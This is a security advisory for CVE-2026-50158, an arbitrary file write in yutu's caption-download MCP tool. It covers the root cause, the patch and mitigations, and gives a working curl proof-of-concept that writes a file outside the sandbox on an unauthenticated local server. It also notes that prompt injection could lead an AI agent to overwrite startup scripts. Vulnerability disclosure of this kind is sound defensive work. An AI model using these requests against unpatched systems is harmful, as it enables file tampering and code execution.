high · 7.7CVE-2026-50158Jul 14, 2026

CVE-2026-50158: yutu Arbitrary File Write via MCP caption-download

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A missing path check in yutu's caption-download MCP tool lets any caller write files anywhere on disk, bypassing the sandbox boundary that every other file operation in the tool respects.

Packagegithub.com/eat-pray-ai/yutu
Ecosystemgo
Affected< 0.10.9-dev1
Fixed in0.10.9-dev1

The problem

The Caption.Download() method in pkg/caption/caption.go passes the caller-supplied file parameter straight to os.Create() at line 272, with no path validation or confinement to the YUTU_ROOT boundary.

Every other file-write path in yutu (Insert, Update) routes through pkg.Root.Open(), which uses Go 1.24's os.OpenRoot to enforce directory confinement. Download is the sole outlier. Because the HTTP MCP server starts with --auth defaulting to false, any local process can reach the endpoint without credentials and trigger the write.

Proof of concept

A working proof-of-concept for CVE-2026-50158 in github.com/eat-pray-ai/yutu, with the exact payload below.

bash
# Start the HTTP MCP server (no auth required by default)
yutu mcp --mode http --port 8216

# Step 1: initialise the MCP session
curl -sD /tmp/yutu.headers \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  http://localhost:8216/mcp \
  -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"poc","version":"1"}}}' \
  >/tmp/yutu.init

SID=$(awk 'tolower($1)=="mcp-session-id:"{print $2}' /tmp/yutu.headers | tr -d '\r')

# Step 2: call caption-download with an absolute path outside YUTU_ROOT
# Replace CAPTION_ID with any caption id accessible by the configured token
curl -s \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  ${SID:+-H "Mcp-Session-Id: $SID"} \
  http://localhost:8216/mcp \
  -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"caption-download","arguments":{"ids":["CAPTION_ID"],"file":"/tmp/yutu-cve-poc.srt","tfmt":"srt"}}}'

# Verify: file exists outside YUTU_ROOT
test -s /tmp/yutu-cve-poc.srt && ls -l /tmp/yutu-cve-poc.srt

The root cause is CWE-73: External Control of File Name or Path. The file field is declared as a plain required string in the MCP JSON input schema (cmd/caption/download.go:34,40) and flows through the tool handler binding to os.Create(c.File) at caption.go:272 without any canonicalization, prefix check, or pkg.Root gating.

The patch replaces os.Create(c.File) with pkg.Root.OpenFile(c.File, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0600), routing the write through the same os.OpenRoot-backed root that Insert and Update already use. Any path that escapes the YUTU_ROOT directory is then rejected by the OS with "path escapes from parent".

The unauthenticated-by-default HTTP MCP server widens the attack surface beyond local CLI use: a prompt-injection payload fed to an AI agent using yutu MCP could specify an arbitrary file value and achieve persistent code execution by overwriting shell startup scripts or application binaries.

The fix

Upgrade to yutu v0.10.9-dev1 (commit 87026c4). The fix replaces the bare os.Create(c.File) call with pkg.Root.OpenFile(c.File, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0600) in pkg/caption/caption.go, confining caption downloads to YUTU_ROOT exactly as Insert and Update already do.

If you cannot upgrade immediately, avoid exposing the HTTP MCP server to untrusted callers and set --auth true to require authentication.

Reporter not attributed.

References: [1][2][3][4]

Related research